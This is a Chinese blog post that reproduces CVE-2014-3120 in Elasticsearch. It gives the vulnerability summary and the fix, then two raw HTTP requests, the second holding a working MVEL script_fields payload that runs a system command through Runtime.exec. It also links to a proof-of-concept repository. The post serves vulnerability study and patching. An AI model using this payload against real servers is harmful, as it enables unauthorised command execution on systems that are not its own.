首页 > 其他分享 >ElasticSearch 命令执行漏洞

ElasticSearch 命令执行漏洞

时间:2023-12-20 14:12:10浏览次数:21  
标签:5.0 命令 0.0 Accept Content 漏洞 ElasticSearch Elasticsearch

漏洞编号:CVE-2014-3120

漏洞详情

CVE编号 CVE-2014-3120 漏洞级别 中危6.8
标题 Elasticsearch默认配置允许动态脚本执行漏洞 披露时间 2014/07/29
漏洞总结 Elasticsearch 1.2版本及之前的默认配置启用了动态脚本,攻击者可以通过_search的source参数执行任意MVEL表达式和Java代码。需要注意的是,只有在用户没有在独立的虚拟机中运行Elasticsearch时,这才违反了供应商的安全策略。
利用路径 NETWORK 利用难度 一般8.6
影响产品 elasticsearch
解决方案 升级Elasticsearch到1.2.1以上版本,或禁用动态脚本功能。建议将Elasticsearch运行在一个独立的虚拟机中,以增强安全性。

漏洞复现

添加一条数据

POST /website/blog/ HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "phithon"
}

执行命令

POST /_search?pretty HTTP/1.1
Host: 0.0.0.0:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

POC&EXP

github:POC-EXP/ElasticSearch 命令执行漏洞 at main · twsec-pro/POC-EXP (github.com)

yakit:cc5908ae-5ea5-4060-8f15-1da729b3fb8c

标签:5.0,命令,0.0,Accept,Content,漏洞,ElasticSearch,Elasticsearch
From: https://www.cnblogs.com/TWX521/p/17916381.html

相关文章

  • Linux expect命令详解
    在Linux系统中,expect是一款非常有用的工具,它允许用户自动化与需要用户输入进行交互的程序。本文将深入探讨expect命令的基本语法、使用方法以及一些最佳实践。什么是Expect命令?expect是一个用于自动化交互式进程的工具。它的主要功能是根据程序的输出模式(patterns)发送输入,从而实......
  • Linux常用命令【转】
     一、基本命令1、立即关机并重启动,执行如下命令:shutdown -r now或者reboot2、立即关机,执行如下命令:shutdown -h now或者poweroff3、等待2分钟关机并重启动,执行如下命令:shutdown -r 24、等待2分钟关机,执行如下命令:shutdown -h 25、使用当前用户的历......
  • Python 使用getopt解析命令行参数
    ​ 1、getopt模块此模块可协助脚本解析sys.argv中的命令行参数。它支持与Unixgetopt()函数相同的惯例(包括形式如'-'与'--'的参数的特殊含义)。也能通过可选的第三个参数来使用与GNU软件所支持形式相类似的长选项。1)getopt.getopt(args,shortopts,longopts=[])......
  • kettle从入门到精通 第二十四课 kettle 部署生产常用命令
    一、设置KETTLE_HOME环境变量 假设kettle软件目录为/xxx/data-integrationvi~/.bash_profileexportKETTLE_HOME=/xxx/data-integration/configsource~/.bash_profileecho$KETTLE_HOME二、启动carte命令1、cd/xxx/data-integration./carte.sh./pw......
  • 11个linux命令
    1.sudo!!命令没有特定输入sudo命令而运行,将给出没有权限的错误。那么,你不需要重写整个命令,仅仅输入’!!‘就可以抓取最后的命令。$ apt-get updateE: Could not openlock file /var/lib/apt/lists/lock - open (13: Permission denied)E: Unable to lock direct......
  • Owasp Top10 漏洞解析 之注入
    一、注入漏洞是什么?注入漏洞,即将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命今或访问数据。几乎任何数据源都能成为注入载体,包括环境变量......
  • 数据库 备份数据命令
    1、SQL语句选择每月的数据添加到另一张表insertinto_Data_Collect_20231108(RECORD_ID,RTU_ID,DataType,Time,Value,INSERT_TIME,I_Flag)selectRECORD_ID,RTU_ID,DataType,Time,Value,INSERT_TIME,I_FlagfromData_Collectwheretime<'2021-12-3100:00'deletefr......
  • ElasticSearch中查询语句用法(match、match_phrase、multi_match、query_string)
    1、match略1.1不同字段权重如果需要为不同字段设置不同权重,可以考虑使用bool查询的should子句来组合多个match查询,并为每个match查询设置不同的权重。{"query":{"bool":{"should":[{"match":{"product_name":......
  • 记录elasticsearch 8.1.1 集成 kibana
    1.官网下载kibanahttps://www.elastic.co/cn/downloads/elasticsearch 解压,直接启动下面的  第一次会生成token  如果没有保存,可就有点麻烦了,这里直接关闭es的密码认证服务     然后切换到kibana目录直接启动    这样kibana可以直接......
  • awk命令
    对文件和数据进行处理的编程语言语法格式:awk参数文件名常用参数-c使用兼容模式-h显示帮助信息-C显示版权信息-m对指定值进行限制-e指定源码文件-n识别输入数据中的八进制饿十六进制数-f从脚本中读取awk命令-O启用程序优化-F设置输入时的字段分......